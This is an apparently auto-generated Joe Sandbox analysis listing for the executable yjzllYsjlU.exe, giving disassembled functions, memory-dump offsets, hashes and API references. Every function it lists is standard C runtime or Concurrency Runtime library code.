Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
Instruction ID: e456b2d5945dcb9d16af89579036fa7bc11e47face3e2a4e749ba7397f49833a
Opcode Fuzzy Hash: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
Instruction Fuzzy Hash: A7418079B00219EFCB09DF65D454A6DB7B1FF48310F00816AE806A7391CB38AE41CF85

Function 021AEB44 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 021AEB85
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 021AEB8D
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021AEBB7
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 021AEBC0
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 021AEC43
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 021AEC4B

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
Instruction ID: 65fe54865d0e913b01120750949d74d8043c6cdbb03a4bf3c83dc4c3d6793f15
Opcode Fuzzy Hash: e357eccba9f9281a6441e24871b6c677031b298cf17b8db731c946c7b8307f67
Instruction Fuzzy Hash: C4415379A40619EFCF09DF64C868A6DB7B6FF88310F048169E51697790CB74AD01CF81

Function 0041ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0041ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0041ED17

Part of subcall function 0041F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0041F3FA

__alloca_probe_16.LIBCMT ref: 0041ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0041ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0041EDC6
__freea.LIBCMT ref: 0041EDEC

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 905480babbdb8262410189c15cedbadfc3d9fa68bc29489cc7bbb29755aa4237
Instruction ID: e5ba4aa972b5b687e82aeba40850cce8f465bb6681a4cf65264b7c2e3798f256
Opcode Fuzzy Hash: 905480babbdb8262410189c15cedbadfc3d9fa68bc29489cc7bbb29755aa4237
Instruction Fuzzy Hash: 3C31A3B5E001068BCB14DFAAD5415EEB7B4EF49314F64406FE805E7351DB389D82C799

Function 0042A026 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0042A069

Part of subcall function 0042B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0042B5AF

GetCurrentThread.KERNEL32 ref: 0042A073
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0042A07F

Part of subcall function 00420388: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 0042039A

Part of subcall function 00420814: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 0042081B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0042A0C2

Part of subcall function 0042B512: SetEvent.KERNEL32(?,?,0042A0C7,0042AE5B,00000000,?,00000000,0042AE5B,00000004,0042B507,?,00000000,?,?,00000000), ref: 0042B556

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0042A0CB

Part of subcall function 0042AB41: List.LIBCONCRT ref: 0042AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0042A0DB

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction ID: 786c6bbc9f4db79065070eee32726b74de41850732c6b9a0a53a64165b4dd308
Opcode Fuzzy Hash: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction Fuzzy Hash: 5721E031600B249FCB24EF66E9908ABF3F5FF48304740455EE942A7651CB38F805CB9A

Function 021AA28D Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 021AA2D0

Part of subcall function 021AB7C7: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 021AB816

GetCurrentThread.KERNEL32 ref: 021AA2DA
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 021AA2E6

Part of subcall function 021A05EF: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 021A0601

Part of subcall function 021A0A7B: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 021A0A82

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 021AA329

Part of subcall function 021AB779: SetEvent.KERNEL32(?,?,021AA32E,021AB0C2,00000000,?,00000000,021AB0C2,00000004,021AB76E,?,00000000,?,?,00000000), ref: 021AB7BD

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 021AA332

Part of subcall function 021AADA8: __EH_prolog3.LIBCMT ref: 021AADAF
Part of subcall function 021AADA8: List.LIBCONCRT ref: 021AADDE

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 021AA342

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedH_prolog3ListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 2908504212-0
Opcode ID: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction ID: 07ac230ffcd66ed8d0dfa4680dc80d4af59829305a58ef8541bfb44722be791a
Opcode Fuzzy Hash: e8a399636c21c93f54abecb38cd00bd2a0cdd3abe99d6541657663b6aa6b27b5
Instruction Fuzzy Hash: DB21A939500B109FCB24EFA5D9A09ABB3FAFF487007004A1ED843A7660CB74F905CBA5

Function 0043CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0043CC66

Strings

vC, xrefs: 0043CBE1

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vC
API String ID: 3213747228-1921080006
Opcode ID: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction ID: 8cae4ceb00b15cc6f8fe4719d8afecb37dc1afbf88934ae700027118ad1b5c75
Opcode Fuzzy Hash: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction Fuzzy Hash: DEB1F3329046459FEB15CF28C8C27AEBBA5EF49344F24916BE855FB341D6389D02CB68

Function 00434F37 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00434F2E,00433AF2,0041B555,900B88F7,?,00000000,0044B3E8,000000FF,?,0040242A,?,?), ref: 00434F45
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00434F53
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00434F6C
SetLastError.KERNEL32(00000000,?,00434F2E,00433AF2,0041B555,900B88F7,?,00000000,0044B3E8,000000FF,?,0040242A,?,?), ref: 00434FBE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction ID: 15ffdb8e0af02f49516ecf1b0bf4576f7fedfc7d9ef3b4932012a3e501010d40
Opcode Fuzzy Hash: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction Fuzzy Hash: 0701283250C7227DAA2027757C4599BAA86EB4A3B8F24223FF724402E1EF9D5C01968D

Function 021B519E Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,021B5195,021B3D59,0219B7BC,00462014,?,00000000,0044B3E8,000000FF,?,02182691,?,?), ref: 021B51AC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 021B51BA
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 021B51D3
SetLastError.KERNEL32(00000000,?,021B5195,021B3D59,0219B7BC,00462014,?,00000000,0044B3E8,000000FF,?,02182691,?,?), ref: 021B5225

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction ID: 1161d8b430b77799b02030cc8f97949d05cabbf1ca22c55074f91a390ff1ded2
Opcode Fuzzy Hash: 7eadf9bba742c64d85f45994d498b9432cfa87c48bb13d385963a09ab129d98a
Instruction Fuzzy Hash: 4201283698A721BDA61727757C84BDB26BBEF047747200239F238450F0FF924801C544

Function 0041FC1B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0041FC29
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0041FC2F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0041FC5C
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0041FC66
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0041FC78
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041FC8E

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction ID: 03917569e0bc54ee2298924e5aad4e28c925d034798c30f2cdbb860cd2e6707d
Opcode Fuzzy Hash: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction Fuzzy Hash: 9F01DD3564020567D700AB66EC49BEB7768BF41712B54043BFC01D1152EB2CE549979D

Function 0219FE82 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0219FE90
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0219FE96
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0219FEC3
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0219FECD
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0219FEDF
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0219FEF5

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction ID: caee7707cabe6057cafa87929d76d77ef62071420fa6bf070eb726fd4ad893e1
Opcode Fuzzy Hash: 0b9f535693bf9840a9ed197670659dc31b2ab51e471b9d9d389deb6254926a20
Instruction Fuzzy Hash: 8901F73A580205BBDF10AB79EC08FAF377CEF41712B750425F419E2892EB38E5058B64

Function 021C2959 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021C29C3
_free.LIBCMT ref: 021C29B1

Part of subcall function 021BB05C: HeapFree.KERNEL32(00000000,00000000,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?), ref: 021BB072
Part of subcall function 021BB05C: GetLastError.KERNEL32(?,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?,?), ref: 021BB084

_free.LIBCMT ref: 021C2B7D

Strings

XgE, xrefs: 021C296C, 021C2972
XgE, xrefs: 021C2AE0

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: XgE$XgE
API String ID: 2155170405-1765908331
Opcode ID: c6433087ed30f2a2da2807838542e42bb6de4ad70922db091af99d7f7348fe1d
Instruction ID: 61d305c636aa6fdc168c97d249b6c8edb5e0092132cf931332f5c568cd8f7e08
Opcode Fuzzy Hash: c6433087ed30f2a2da2807838542e42bb6de4ad70922db091af99d7f7348fe1d
Instruction Fuzzy Hash: CB51D679940215AFDB24EFA8CC809AE77BDAF54354B3502AEDC20E72A0E770DA41CF55

Function 0040DBE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

list too long, xrefs: 0040E09D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: mtx_do_lock
String ID: list too long
API String ID: 1389037287-1124181908
Opcode ID: e8db10ea1e9f31c1c4c8cd784e01dfd0d2ddfc129ac8cf217fbe486e9ba11e96
Instruction ID: 0007737cba0ef289931fff910482b9d26868eafb82600a80664d17b7d07a3ec6
Opcode Fuzzy Hash: e8db10ea1e9f31c1c4c8cd784e01dfd0d2ddfc129ac8cf217fbe486e9ba11e96
Instruction Fuzzy Hash: F951CA71D04718ABDB10DF65CC8AB9AB3B8EF14714F1041ABF80DA7281E778A985CF59

Function 00434E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00434E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00434E86
PMDtoOffset.LIBCMT ref: 00434EAC

Strings

Bad dynamic_cast!, xrefs: 00434EEE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 76ec6d7001f37febc2ab6482f7c516d661d45f5fc475c9f7c43be269abc4c233
Instruction ID: 954d36f46f260efd2cd9394cd3d8c23cf35357d38ada446349ce258e6175ccbf
Opcode Fuzzy Hash: 76ec6d7001f37febc2ab6482f7c516d661d45f5fc475c9f7c43be269abc4c233
Instruction Fuzzy Hash: 32210772600205ABCB14DFA4D906AEF77A4FBCC724F10511FF91093680D73DF9008699

Function 0043182A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00431885
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004318A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 004318EB

Strings

pContext, xrefs: 0043189C

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1284976207-2046700901
Opcode ID: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction ID: d01a77f2ab9abe46547ca181dc4035302de0eae64105b64324a031690df06c10
Opcode Fuzzy Hash: e9b064e3ffac3daba16c5b096d74077ea667223e78b02618e4975b94426a83e1
Instruction Fuzzy Hash: 3421EA35B006159BCB19B765D895ABD73A5BF98338F04112BE411872E1CB6CAC428A9D

Function 021BE24A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\yjzllYsjlU.exe, xrefs: 021BE24F

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\yjzllYsjlU.exe
API String ID: 0-215670176
Opcode ID: 83d649548dc4756340e3f4fa4cdfd0894265a7358bbde176a04f29cefd39949e
Instruction ID: 35d13a804390d467fdad2f8ff2684419f19582431d6765ba6e8987c23ae03c69
Opcode Fuzzy Hash: 83d649548dc4756340e3f4fa4cdfd0894265a7358bbde176a04f29cefd39949e
Instruction Fuzzy Hash: EE21C571684209AFDB22AF619C84EEB7BBEEF443657404565F939C6190DB30DC51CBA0

Function 021A9EFC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 021A9F03
std::bad_exception::bad_exception.LIBCMT ref: 021A9F65
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 021A9FA7
std::bad_exception::bad_exception.LIBCMT ref: 021A9FD1

Strings

8[F, xrefs: 021A9F62, 021A9F6F

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_ResolveSchedulerValues
String ID: 8[F
API String ID: 3836581985-331943168
Opcode ID: a4d644558bc095dc33be146fbd05eccc5a98fec7c23d9a48cae62212641850da
Instruction ID: 5fd998ebcc251c9dbe77d0399e0b42c3a725477f6a558f62ad85dc9ee9e0064e
Opcode Fuzzy Hash: a4d644558bc095dc33be146fbd05eccc5a98fec7c23d9a48cae62212641850da
Instruction Fuzzy Hash: D42125799802049FCF05EF64D995A9DBBB5FF05310F11402AF001AB290DB306D86CF55

Function 0043727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 004372BE

Strings

.bat, xrefs: 004372ED
.com, xrefs: 004372FE
.exe, xrefs: 004372CB
.cmd, xrefs: 004372DC

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: eebd850b759d80cb09b7359ab37ad9482216c276737184da2b80f0523ace37d9
Instruction ID: 2fe954d65b4b50834951edb994104e0446c73801206968c056bf44c713a15be5
Opcode Fuzzy Hash: eebd850b759d80cb09b7359ab37ad9482216c276737184da2b80f0523ace37d9
Instruction Fuzzy Hash: 8D01086760861635663520199E0276713888BCABB8F25202FFDA4F73C1EF8CDD42A1EC

Function 00424EA2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00424F01
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00424F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00424F66

Strings

count, xrefs: 00424EBA
ppVirtualProcessorRoots, xrefs: 00424F1C

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 18808576-3650809737
Opcode ID: 0f050f97b8179aa4ac2a16646d21eb55e2bc560f4bbb76bd7718e5c12f5aa014
Instruction ID: 0fe100e528eb00baa15785fa13c2d5db46de6353967fcf2c4de188508199a33a
Opcode Fuzzy Hash: 0f050f97b8179aa4ac2a16646d21eb55e2bc560f4bbb76bd7718e5c12f5aa014
Instruction Fuzzy Hash: 43210034B00224EFCB04EF99D881EAD73A0FF88315F40406FE40697692CB74AE01CB58

Function 0043A671 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0043694A,?,?,?,?,00437661,?), ref: 0043A676
_free.LIBCMT ref: 0043A6D3
_free.LIBCMT ref: 0043A709
SetLastError.KERNEL32(00000000,00000008,000000FF,?,?,0043694A,?,?,?,?,00437661,?), ref: 0043A714

Strings

x!F, xrefs: 0043A6FC

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction ID: 8cce909c9ac14f6c448446a217854be9d18c12721b99b88a770a56678c5f8ba9
Opcode Fuzzy Hash: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction Fuzzy Hash: 2511AB312447007A961166766C86A2B215AD7D937DF24213FF3A4462D2EEAD8C32515F

Function 021BA8D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,021B6BB1,?,?,?,?,021B78C8,?), ref: 021BA8DD
_free.LIBCMT ref: 021BA93A
_free.LIBCMT ref: 021BA970
SetLastError.KERNEL32(00000000,00462170,000000FF,?,?,021B6BB1,?,?,?,?,021B78C8,?), ref: 021BA97B

Strings

x!F, xrefs: 021BA963

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: x!F
API String ID: 2283115069-3062043068
Opcode ID: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction ID: 87d9c3f26a76310e2ef3cd6506646ac1e522bb559b2821ba58a588394fd322d6
Opcode Fuzzy Hash: 4f2ed3d34f35961fd0f18177c3173820742fc9700b75869c829352158ce47360
Instruction Fuzzy Hash: FF1120322C86007ED6372A755C80EFA117BAFC57B8B260134F624524E0EFA28C055555

Function 0043A7C8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004375FB,00402247), ref: 0043A7CD
_free.LIBCMT ref: 0043A82A
_free.LIBCMT ref: 0043A860
